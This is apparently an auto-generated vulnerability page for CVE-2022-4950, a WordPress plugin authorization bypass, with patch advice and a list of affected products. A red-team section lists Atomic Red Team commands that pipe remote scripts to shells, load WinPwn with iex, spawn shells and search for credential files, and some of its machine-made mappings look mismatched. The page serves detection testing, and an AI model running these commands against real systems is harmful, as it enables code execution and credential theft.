CVE-2022-4950
Overview
This vulnerability is an authorization bypass in several WordPress plugins by Cool Plugins, specifically affecting the plugin installation and activation mechanisms. The root cause lies in insufficient permission checks within administrative functions that handle plugin management actions. The affected components include the Events Notification Bar Addon and other Cool Plugins WordPress plugins that expose plugin installation and activation features to low-privileged authenticated users such as subscribers.
Vulnerability Description
Several WordPress plugins developed by Cool Plugins are vulnerable to arbitrary plugin installation and activation that can lead to remote code execution by authenticated attackers with minimal permissions, such as a subscriber.
Impact
An attacker with minimal authenticated privileges can install and activate arbitrary plugins, enabling execution of arbitrary code within the WordPress environment. This capability allows lateral movement and full site compromise, including data exfiltration and persistent backdoors. The attack requires authenticated access with subscriber-level permissions (PR:L) but no user interaction (UI:N), and can be performed remotely (AV:N) over the network. The vulnerability’s high CVSS score (8.8) reflects the critical impact of unauthorized code execution and system control.
Solution
Users should update affected Cool Plugins WordPress plugins to the latest patched versions as detailed in the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/f6f0fb78-ad6b-4a9e-ae1a-5793f3426379) and the WordPress plugin changelogs (e.g., changeset 2705076 for Cool Timeline). Applying these updates restores proper permission checks on plugin management functions. No alternative workarounds are documented; immediate patching is recommended to mitigate exploitation risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability affecting several WordPress plugins developed by Cool Plugins allows authenticated attackers with minimal permissions, such as subscribers, to install and activate arbitrary plugins. This flaw arises from improper validation and authorization checks within the plugin management functionalities. Specifically, the lack of stringent access controls enables users with limited roles to perform actions typically reserved for administrators. As a result, an attacker could exploit this weakness to introduce malicious code into the WordPress environment, potentially leading to remote code execution (RCE). This situation poses a significant risk, as it can compromise the entire website, allowing attackers to manipulate data, steal sensitive information, or deploy further malicious payloads.
Attack vectors for this vulnerability are relatively straightforward, given that the exploitation requires only authenticated access to the WordPress dashboard. An attacker could leverage social engineering tactics to gain access to a legitimate user account with subscriber privileges or exploit weak password policies to compromise such accounts. Once inside, the attacker can exploit the vulnerability to install and activate malicious plugins, which could execute arbitrary code on the server. The simplicity of this attack vector makes it particularly concerning, as it does not necessitate advanced technical skills, thus broadening the potential threat landscape.
The real-world impact of this vulnerability is substantial, especially for organizations relying on WordPress for their online presence. Successful exploitation could lead to data breaches, defacement of websites, or the installation of backdoors that allow for ongoing access to the compromised system. The business risks associated with such incidents include reputational damage, loss of customer trust, and potential legal ramifications due to data protection violations. Furthermore, the financial implications can be significant, ranging from the costs of incident response and remediation to potential fines and loss of revenue during downtime.
To detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. Regularly updating all plugins and themes to their latest versions is critical, as developers often release patches to address known vulnerabilities. Implementing strict user role management is also essential; organizations should ensure that only trusted individuals have administrative privileges and that users are assigned the least privilege necessary to perform their tasks. Additionally, employing security plugins that monitor for unauthorized changes and suspicious activities can help detect potential exploitation attempts. Regular security audits and penetration testing can further bolster defenses by identifying and addressing vulnerabilities before they can be exploited.
In conclusion, the vulnerability present in the Cool Plugins suite of WordPress plugins represents a significant threat to website security, particularly for those with lax access controls. The ease of exploitation combined with the potential for severe consequences necessitates immediate attention from website administrators. By prioritizing security best practices, organizations can mitigate the risks associated with this vulnerability and protect their digital assets from malicious actors.
Affected Products (10)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Coolplugins | Cool Timeline | All |
cpe:2.3:a:coolplugins:cool_timeline:*:*:*:*:*:wordpress:*:*
|
|
|
Coolplugins | Cryptocurrency Widgets | All |
cpe:2.3:a:coolplugins:cryptocurrency_widgets:*:*:*:*:*:wordpress:*:*
|
|
|
Coolplugins | Cryptocurrency Widgets For Elementor | All |
cpe:2.3:a:coolplugins:cryptocurrency_widgets_for_elementor:*:*:*:*:*:wordpress:*:*
|
|
|
Coolplugins | Event Single Page Builder For The Event Calendar | All |
cpe:2.3:a:coolplugins:event_single_page_builder_for_the_event_calendar:*:*:*:*:*:wordpress:*:*
|
|
|
Coolplugins | Events-Notification-Bar-Addon | All |
cpe:2.3:a:coolplugins:events-notification-bar-addon:*:*:*:*:*:wordpress:*:*
|
|
|
Coolplugins | Events Search For The Events Calendar | All |
cpe:2.3:a:coolplugins:events_search_for_the_events_calendar:*:*:*:*:*:wordpress:*:*
|
|
|
Coolplugins | Events Shortcodes For The Events Calendar | All |
cpe:2.3:a:coolplugins:events_shortcodes_for_the_events_calendar:*:*:*:*:*:wordpress:*:*
|
|
|
Coolplugins | Events Widgets For Elementor And The Events Calendar | All |
cpe:2.3:a:coolplugins:events_widgets_for_elementor_and_the_events_calendar:*:*:*:*:*:wordpress:*:*
|
|
|
Coolplugins | The Events Calendar Countdown Addon | All |
cpe:2.3:a:coolplugins:the_events_calendar_countdown_addon:*:*:*:*:*:wordpress:*:*
|
|
|
Cryptocurrency Payment \& Donation Box Plugins | Cryptocurrency Payment \& Donation Box | All |
cpe:2.3:a:cryptocurrency_payment_\&_donation_box_plugins:cryptocurrency_payment_\&_donation_box:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
45%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-4950 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/f6f0fb78-ad6b-4a9e-ae1a-5793f3426379?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/2705076/cool-timeline/trunk/admin/timeline-addon-page/timeline-addon-page.php |
| blog.nintechnet.com |
GitHub CVE
|
https://blog.nintechnet.com/8-wordpress-plugins-fixed-high-severity-vulnerability/ |